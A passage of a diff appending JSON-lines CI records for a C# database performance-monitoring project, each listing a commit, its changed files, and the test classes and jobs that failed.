erformanceMonitor.Darling.Storage/DarlingPgCpuUtilizationReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Fleet.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Overview.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","PerformanceMonitor.Collectors/PgCpuUtilizationCollector.cs","PerformanceMonitor.Common/FleetCpuSource.cs","PerformanceMonitor.Common/ServerHealthBands.cs"],"failed_classes":["Darling.Tests.DarlingPgIndexBloatCoverageLivePostgresTests"],"failed_jobs":["Darling PostgreSQL tests"]}
+{"date":"2026-09-11","head_sha":"5d82981557501a9ee1aa7e89d4eb37a2f6a0b423","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertPersistenceGateTests.cs","Darling/Darling.Tests/CustomAlertRuleDefinitionTests.cs","Darling/PerformanceMonitor.Darling.Service/CustomAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/CustomAlertRuleDefinition.cs","Darling/PerformanceMonitor.Darling.Service/CustomAlertRuleStore.cs","Darling/PerformanceMonitor.Darling.Service/CustomAlertStateStore.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedRoles.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","PerformanceMonitor.Alerting/AlertPersistenceGate.cs"],"failed_classes":["Darling.Tests.PgCpuCapacityHeadroomTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-11","head_sha":"a9316fcc8f5ab9c55a17b54714aac9e0196e50ba","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpCustomAlertToolsTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpCustomAlertTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs"],"failed_classes":["Darling.Tests.DarlingWebEndpointsTests","Lite.Tests.CrossAppMcpToolInventoryPinTests"],"failed_jobs":["Darling PostgreSQL tests","build","Darling whole-tree guards"]}
+{"date":"2026-09-11","head_sha":"04c3c1a4c8bd8a85a7f2f97fb9e8a5c200541025","event":"pull_request","changed_files":["Darling/Darling.Tests/CustomAlertCoreMigrationTests.cs","Darling/Darling.Tests/MuteRuleReloadBeaconLivePostgresTests.cs","Darling/Darling.Tests/MuteRuleReloadBeaconTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedRoles.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpAlertTools.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ServiceConfig.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs"],"failed_classes":["Darling.Tests.MuteRuleReloadBeaconTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-11","head_sha":"eb5ad9acfc02e7c5c927e21440c3e1c0ccb5b656","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertEngineTests.cs","Darling/Darling.Tests/BuiltinAlertPersistenceRungTests.cs","Darling/Darling.Tests/CustomAlertCoreMigrationTests.cs","Darling/Darling.Tests/DarlingAlertingTests.cs","Darling/Darling.Tests/DarlingSelfAlertTests.cs","Darling/Darling.Tests/PgCpuCapacityHeadroomTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/PgAlertStateStore.cs","Darling/PerformanceMonitor.Darling.Storage/DarlingPgCpuUtilizationReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Lite.Tests/DuckDbSchemaTests.cs","Lite.Tests/LiteAlertForwardingTests.cs","Lite/Database/DuckDbInitializer.cs","Lite/Database/Schema.cs","Lite/MainWindow.AlertEngine.cs","Lite/Services/DuckDbAlertHistoryStore.cs","Lite/Services/LiteAlertStateStore.cs","Lite/Services/LocalDataService.Overview.cs","PerformanceMonitor.Alerting/AlertEngine.cs","PerformanceMonitor.Alerting/AlertPersistenceRecord.cs","PerformanceMonitor.Alerting/AlertServerSnapshot.cs","PerformanceMonitor.Alerting/IAlertStateStore.cs","README.md"],"failed_classes":["Darling.Tests.AlertReadFailureSurfaceTests","Darling.Tests.RepoFileAdoptionTests","PerformanceMonitorLite.Tests.LiteAlertForwardingTests"],"failed_jobs":["Darling PostgreSQL tests","build","Darling whole-tree guards"]}
+{"date":"2026-09-11","head_sha":"8c1231a7772923741c1d2ba4daa9781661030584","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertEngineTests.cs","Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/Darling.Tests/BuiltinAlertPersistenceRungTests.cs","Darling/Darling.Tests/CustomAlertCoreMigrationTests.cs","Darling/Darling.Tests/DarlingAlertingTests.cs","Darling/Darling.Tests/DarlingSelfAlertTests.cs","Darling/Darling.Tests/MuteRuleReloadBeaconTests.cs","Darling/Darling.Tests/PgCpuCapacityHeadroomTests.cs","Darling/Darling.Tests/RepoFileAdoptionTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/PgAlertStateStore.cs","Darling/PerformanceMonitor.Darling.Storage/DarlingPgCpuUtilizationReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Lite.Tests/DuckDbSchemaTests.cs","Lite.Tests/LiteAlertForwardingTests.cs","Lite/Database/DuckDbInitializer.cs","Lite/Database/Schema.cs","Lite/MainWindow.AlertEngine.cs","Lite/Services/DuckDbAlertHistoryStore.cs","Lite/Services/LiteAlertStateStore.cs","Lite/Services/LocalDataService.Overview.cs","PerformanceMonitor.Alerting/AlertEngine.cs","PerformanceMonitor.Alerting/AlertPersistenceRecord.cs","PerformanceMonitor.Alerting/AlertServerSnapshot.cs","PerformanceMonitor.Alerting/IAlertStateStore.cs","README.md"],"failed_classes":["Darling.Tests.DocCommentHygieneTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-11","head_sha":"f0a678328ecc8618d9f2bf34bc9db903e9100c5b","event":"pull_request","changed_files":["Darling/Darling.Tests/BuiltinAlertPersistenceRungTests.cs","Darling/PerformanceMonitor.Darling.Service/PgAlertStateStore.cs","Lite/Database/DuckDbInitializer.cs","Lite/Database/Schema.cs","Lite/Services/DuckDbAlertHistoryStore.cs","Lite/Services/LiteAlertStateStore.cs"],"failed_classes":["Darling.Tests.CommentFilterAdoptionTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-12","head_sha":"ccea95f0e5f61080dabc27f5bbf6f4d0b70fff9b","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingSelfAlertTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","PerformanceMonitor.Common/AlertMetricClassifier.cs","PerformanceMonitor.Notifications/MuteRule.cs"],"failed_classes":["Darling.Tests.AlertReadFailureSurfaceTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-12","head_sha":"e6dbdbea94c340a7f51f8b2a7426ee5200b14e5b","event":"pull_request","changed_files":["CHANGELOG.md"],"failed_classes":["Darling.Tests.IncidentAttachmentDeliveryTests"],"failed_jobs":["Darling whole-tree guards"]}
+{"date":"2026-09-12","head_sha":"c089bad9ede15eca9ad8e173b6a8e7c4e3a8e6aa","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingSelfAlertTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","PerformanceMonitor.Notifications/MuteRule.cs"],"failed_classes":["Darling.Tests.IncidentAttachmentDeliveryTests"],"failed_jobs":["Darling PostgreSQL tests"]}
+{"date":"2026-09-12","head_sha":"cca860fb66b2009c22e5fb45f015806093b07dc6","event":"pull_request","changed_files":["Darling/Darling.Tests/BuiltinAlertPersistenceRungTests.cs","Darling/Darling.Tests/DarlingMcpAlertToolsTests.cs","Darling/Darling.Tests/DarlingSelfAlertTests.cs","Darling/Darling.Tests/RetentionHoldRatioKnobRungTests.cs","Darling/Darling.Tests/ViewerControlPlaneStage3bTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingAlertSettings.cs","Darling/PerformanceMonitor.Darling.Service/DarlingConfig.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingAlertReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpAlertTools.cs","Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs","Darling/PerformanceMonitor.Darling.Viewer/SettingsWindow.xaml","Darling/PerformanceMonitor.Darling.Viewer/SettingsWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.AlertSettings.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Lite.Tests/McpAlertSettingsKeyTests.cs","Lite/Mcp/McpAlertTools.cs","docs/retention-hold-runbook.md"],"failed_classes":["Darling.Tests.ConfigSeedStatementArityTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-12","head_sha":"25bae3e1b1e82163ca989c846fc60a5fdd7a6c0a","event":"push","changed_files":["Darling/PerformanceMonitor.Darling.Service/wwwroot/css/editor.css","Darling/PerformanceMonitor.Darling.Service/wwwroot/index.html","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/alert-editor.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/alert-seed.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/alerts-api.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/app.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/editor.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/notebook.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/alert-rules.js"],"failed_classes":["PerformanceMonitorLite.Tests.AnalysisPassTokenThreadingTests"],"failed_jobs":["build"]}
+{"date":"2026-09-12","head_sha":"dd945402303b54c9703b12e46008223aabf4d5de","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingCollectionLogReadTests.cs","Darling/Darling.Tests/DarlingMcpDataToolsTests.cs","Darling/Darling.Tests/DarlingWebEndpointsTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Lite.Tests/CollectionLogToolTests.cs","Lite/Mcp/McpHealthTools.cs","Lite/Mcp/McpInstructions.cs","Lite/Services/LocalDataService.CollectionHealth.cs","PerformanceMonitor.Common/Mcp/McpHelpers.cs"],"failed_classes":["Darling.Tests.DarlingCollectionLogReadTests","Darling.Tests.QueryStoreTopWindowTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-13","head_sha":"34467c3f02617e0c992320364df30e666225f594","event":"pull_request","changed_files":["Darling/Darling.Tests/QueryStoreProbeCacheTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Storage/QueryStoreProbeCache.cs","Lite.Tests/ProcedureStatsCollectorDefinitionTests.cs","Lite.Tests/QueryStatsCollectorDefinitionTests.cs","PerformanceMonitor.Collectors/ProcedureStatsCollector.cs","PerformanceMonitor.Collectors/QueryPlanXmlCaptureLimits.cs","PerformanceMonitor.Collectors/QueryStatsCollector.cs"],"failed_classes":["Darling.Tests.FleetIdentifierScrubTests","Darling.Tests.ProcedureStatsPlanCadenceTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-13","head_sha":"f850aa9c9db06aa16a77eccc3f6a89df3e1b381f","event":"pull_request","changed_files":["Lite.Tests/CrossAppGuardCiGateTests.cs"],"failed_classes":["Darling.Tests.DocCommentHygieneTests"],"failed_jobs":["Darling whole-tree guards"]}
+{"date":"2026-09-13","head_sha":"bb916117b252cd8b1f37d37bedf18355d2da86e6","event":"pull_request","changed_files":["Darling/Darling.Tests/OversizedPlanBacklogReadPins.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpOversizedPlanBacklogTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingOversizedPlanBacklogReader.cs","Darling/README.md","Lite.Tests/CrossAppMcpToolInventoryPinTests.cs","README.md"],"failed_classes":["Darling.Tests.LivePostgresCollectionHygieneTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-14","head_sha":"c986bf22e295120a2a550f4754593984ac7d5363","event":"pull_request","changed_files":["Darling/Darling.Tests/OversizedPlanBacklogPins.cs","Darling/Darling.Tests/OversizedPlanSweepRunRecordTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingObservability.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpOversizedPlanBacklogTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingServerResolver.cs","Darling/PerformanceMonitor.Darling.Service/OversizedPlanBacklogSweep.cs","Darling/PerformanceMonitor.Darling.Storage/OversizedPlanBacklog.cs","Darling/README.md","Lite.Tests/CrossAppMcpToolInventoryPinTests.cs"],"failed_classes":["Darling.Tests.OversizedPlanBacklogPins"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-15","head_sha":"e1059d5a0b007036abb89975da7e9883c80c48e4","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectorCostRegressionDispersionTests.cs","Darling/Darling.Tests/DarlingSelfAlertTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingCollectorCostReader.cs"],"failed_classes":["Darling.Tests.RepoFileAdoptionTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-15","head_sha":"13c20722281c933fce20b75c3d6e823acb2e5a83","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectorCostRegressionDispersionTests.cs","Darling/Darling.Tests/DarlingSelfAlertTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingCollectorCostReader.cs"],"failed_classes":["Darling.Tests.RepoFileAdoptionTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-15","head_sha":"26e3eef0b4b9d3d3f5827612aa879c28a106f848","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertDeliveryChannelTests.cs","Darling/Darling.Tests/AlertTrayStatusLoggedTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpAlertTools.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/util.js","Lite.Tests/AlertDeliveryChannelTests.cs","Lite.Tests/PagerDutyWebhookTests.cs","Lite.Tests/StoreRoundTripTests.cs","Lite.Tests/WebhookCooldownSeedTests.cs","Lite/Mcp/McpAlertTools.cs","PerformanceMonitor.Notifications/AlertDelivery.cs","PerformanceMonitor.Notifications/EmailSendCore.cs","PerformanceMonitor.Notifications/IAlertHistoryStore.cs","PerformanceMonitor.Notifications/WebhookAlertService.cs"],"failed_classes":["Darling.Tests.DocCommentHygieneTests","Darling.Tests.RepeatDeliveryBudgetTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-15","head_sha":"42d5ad5eefebae9b13b8dc22edb3df105fa618e6","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectorCostDigestTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingCollectorCostReader.cs","Lite.Tests/AlertSeverityTests.cs","PerformanceMonitor.Common/AlertMetricClassifier.cs","PerformanceMonitor.Notifications/AlertSeverity.cs"],"failed_classes":["Darling.Tests.AlertReadFailureSurfaceTests","Darling.Tests.CollectorCostDigestTests","Lite.Tests.AlertReadFailureSurfaceTests"],"failed_jobs":["build","Darling PostgreSQL tests","Darling whole-tree guards"]}
+{"date":"2026-09-15","head_sha":"2e3852241d11a040cd96c12ccdd06efd00a3c5aa","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpAlertToolsTests.cs","Darling/Darling.Tests/OversizedPlanBacklogPins.cs","Darling/Darling.Tests/PgAlertCountKnobRungTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingAlertSettings.cs","Darling/PerformanceMonitor.Darling.Service/DarlingConfig.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingAlertReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpAlertTools.cs","Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/SettingsWindow.xaml","Darling/PerformanceMonitor.Darling.Viewer/SettingsWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.AlertSettings.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","PerformanceMonitor.Alerting/PostgresAlertEvaluator.cs"],"failed_classes":["Lite.Tests.McpAlertSettingsKeyTests"],"failed_jobs":["build"]}
+{"date":"2026-09-15","head_sha":"95d3f7799ccdd33858d3f3664f0c46eaf7f8b464","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectionLogDrainForensicsStoreTests.cs","Darling/Darling.Tests/PgLoggingCollectorOffTests.cs","Darling/Darling.Tests/PostgresFaultOutcomeTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgDeadlockTools.cs","Lite.Tests/PgLoggingCollectorGateTests.cs","PerformanceMonitor.Collectors/PgDeadlocksCollector.cs","PerformanceMonitor.Collectors/PgLoggingCollectorOffException.cs","PerformanceMonitor.Collectors/PgPlanCaptureCollector.cs"],"failed_classes":["Darling.Tests.RepoFileAdoptionTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-16","head_sha":"601ab8a7cbe6bf24dde6a9274aa6f3e6cf32ca7f","event":"pull_request","changed_files":["CHANGELOG.md","Darling/Darling.Tests/AlertMasterSwitchSurfaceTests.cs","Darling/Darling.Tests/SameStatementPileupSourceCensusTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFindingStore.cs","Darling/PerformanceMonitor.Darling.Analysis/PgPileupSnapshotReader.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/README.md","Lite.Tests/SameStatementPileupDetectorTests.cs","Lite/Analysis/FindingStore.cs","Lite/Analysis/PileupSnapshotReader.cs","Lite/Services/CollectionBackgroundService.cs","PerformanceMonitor.Analysis/FactAdvice.cs","PerformanceMonitor.Analysis/SameStatementPileupDetector.cs"],"failed_classes":["Darling.Tests.DarlingAnalysisStoreTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-16","head_sha":"2b45c772a7a3b55520f439291e936e1cb8bd1aa6","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpAlertToolsTests.cs","Darling/Darling.Tests/FleetSweepCadenceKnobRungTests.cs","Darling/Darling.Tests/FleetSweepEngineTests.cs","Darling/Darling.Tests/FleetSweepStateRungTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingConfig.cs","Darling/PerformanceMonitor.Darling.Service/DarlingRetention.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/FleetSweepEngine.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingAlertReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingHealthReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpAlertTools.cs","Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs","Darling/PerformanceMonitor.Darling.Storage/FleetSweepCadence.cs","Darling/PerformanceMonitor.Darling.Storage/FleetSweepStore.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/SettingsWindow.xaml","Darling/PerformanceMonitor.Darling.Viewer/SettingsWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.AlertSettings.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Lite.Tests/McpAlertSettingsKeyTests.cs"],"failed_classes":["Darling.Tests.PgAlertCountKnobRungTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-16","head_sha":"7301d2a37766df19e97e6cf23f87e23f64415c50","event":"pull_request","changed_files":["CHANGELOG.md","Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/Darling.Tests/DarlingMcpFleetSweepToolsTests.cs","Darling/Darling.Tests/DarlingRetentionTests.cs","Darling/Darling.Tests/FleetSweepRollupTests.cs","Darling/Darling.Tests/FleetSweepStateRungTests.cs","Darling/Darling.Tests/McpToolTypeRegistrationTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingRetention.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFleetSweepTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Darling/PerformanceMonitor.Darling.Storage/FleetSweepStore.cs","Darling/README.md","Lite.Tests/AlertSeverityTests.cs","Lite.Tests/CrossAppMcpToolInventoryPinTests.cs","PerformanceMonitor.Common/AlertMetricClassifier.cs","PerformanceMonitor.Notifications/AlertSeverity.cs","README.md","llms.txt"],"failed_classes":["Darling.Tests.AlertReadFailureSurfaceTests","Lite.Tests.AlertReadFailureSurfaceTests"],"failed_jobs":["Darling PostgreSQL tests","build","Darling whole-tree guards"]}
+{"date":"2026-09-16","head_sha":"f3c7ab2115308f2127eaac8dd5e03b58eb19b2fb","event":"pull_request","changed_files":["CHANGELOG.md","Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/Darling.Tests/DarlingMcpFleetSweepToolsTests.cs","Darling/Darling.Tests/DarlingRetentionTests.cs","Darling/Darling.Tests/FleetSweepRollupTests.cs","Darling/Darling.Tests/FleetSweepStateRungTests.cs","Darling/Darling.Tests/McpToolTypeRegistrationTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingRetention.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFleetSweepTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Darling/PerformanceMonitor.Darling.Storage/FleetSweepStore.cs","Darling/README.md","Lite.Tests/AlertSeverityTests.cs","Lite.Tests/CrossAppMcpToolInventoryPinTests.cs","PerformanceMonitor.Common/AlertMetricClassifier.cs","PerformanceMonitor.Notifications/AlertSeverity.cs","README.md","llms.txt"],"failed_classes":["Lite.Tests.AlertReadFailureSurfaceTests"],"failed_jobs":["build"]}
+{"date":"2026-09-16","head_sha":"a2829f46d5c779c42f3e611023174433e744c06b","event":"pull_request","changed_files":["CHANGELOG.md","Darling/Darling.Tests/StoreIsOnThisMachineTests.cs","Darling/Darling.Tests/ViewerServerManagementTests.cs","Darling/PerformanceMonitor.Darling.Viewer/AddMultipleServersDialog.xaml","Darling/PerformanceMonitor.Darling.Viewer/AddMultipleServersDialog.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/AddServerDialog.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/ServerStoreCredential.cs"],"failed_classes":["Darling.Tests.BulkServerOnboardingMappingTests","PerformanceMonitorLite.Tests.EntraDeviceCodeTests"],"failed_jobs":["build","Darling PostgreSQL tests","Darling whole-tree guards"]}
+{"date":"2026-09-17","head_sha":"bfedaca4bc22ddc889e9a9ec0fd7a6afdb59726a","event":"pull_request","changed_files":["CHANGELOG.md","Darling/Darling.Tests/StoreIsOnThisMachineTests.cs","Darling/Darling.Tests/ViewerServerManagementTests.cs","Darling/PerformanceMonitor.Darling.Viewer/AddMultipleServersDialog.xaml","Darling/PerformanceMonitor.Darling.Viewer/AddMultipleServersDialog.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/AddServerDialog.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/ServerStoreCredential.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerMigration.cs","Lite.Tests/EntraDeviceCodeTests.cs"],"failed_classes":["Darling.Tests.BulkServerOnboardingMappingTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-17","head_sha":"5a71cef415797316d889da18b4080980ed41cf0a","event":"pull_request","changed_files":["CHANGELOG.md","Darling/Darling.Tests/PostgresAddServerDialogTests.cs","Darling/Darling.Tests/ServerIdentitySurvivesAnEditTests.cs","Darling/Darling.Tests/ViewerServerManagementTests.cs","Darling/PerformanceMonitor.Darling.Viewer/AddMultipleServersDialog.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/AddServerDialog.xaml","Darling/PerformanceMonitor.Darling.Viewer/AddServerDialog.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Commands.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.MonitoredServers.cs"],"failed_classes":["Darling.Tests.RepoFileAdoptionTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-17","head_sha":"4e102377669ea939b0dfe32dada5c385e43e0021","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectorDatabaseScopeRungTests.cs","Darling/Darling.Tests/FleetSweepCadenceKnobRungTests.cs","Darling/Darling.Tests/PostgresDatabaseListScreenLivePostgresTests.cs","Darling/Darling.Tests/TargetProviderTests.cs","Darling/Darling.Tests/ViewerControlPlaneStage3bTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/DarlingXeSessions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs","Darling/PerformanceMonitor.Darling.Service/Targets/PostgresTargetProvider.cs","Darling/PerformanceMonitor.Darling.Service/Targets/SqlServerTargetProvider.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/CollectorScheduleEditorWindow.xaml","Darling/PerformanceMonitor.Darling.Viewer/CollectorScheduleOverlay.cs","Darling/PerformanceMonitor.Darling.Viewer/CollectorSchedulePresets.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.CollectorSchedules.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","PerformanceMonitor.Collectors/CollectorContext.cs","PerformanceMonitor.Collectors/DatabaseScopeFilter.cs","PerformanceMonitor.Collectors/DatabaseScopedConfigCollector.cs","PerformanceMonitor.Collectors/ITargetProvider.cs","PerformanceMonitor.Collectors/IndexObjectStatsCollector.cs","PerformanceMonitor.Collectors/PlanCorrectionCollector.cs","PerformanceMonitor.Collectors/QueryStoreCollector.cs","PerformanceMonitor.Collectors/QueryStoreHealthCollector.cs"],"failed_classes":["Darling.Tests.LivePostgresCollectionHygieneTests","Lite.Tests.AlertReadFailureSurfaceTests"],"failed_jobs":["Darling PostgreSQL 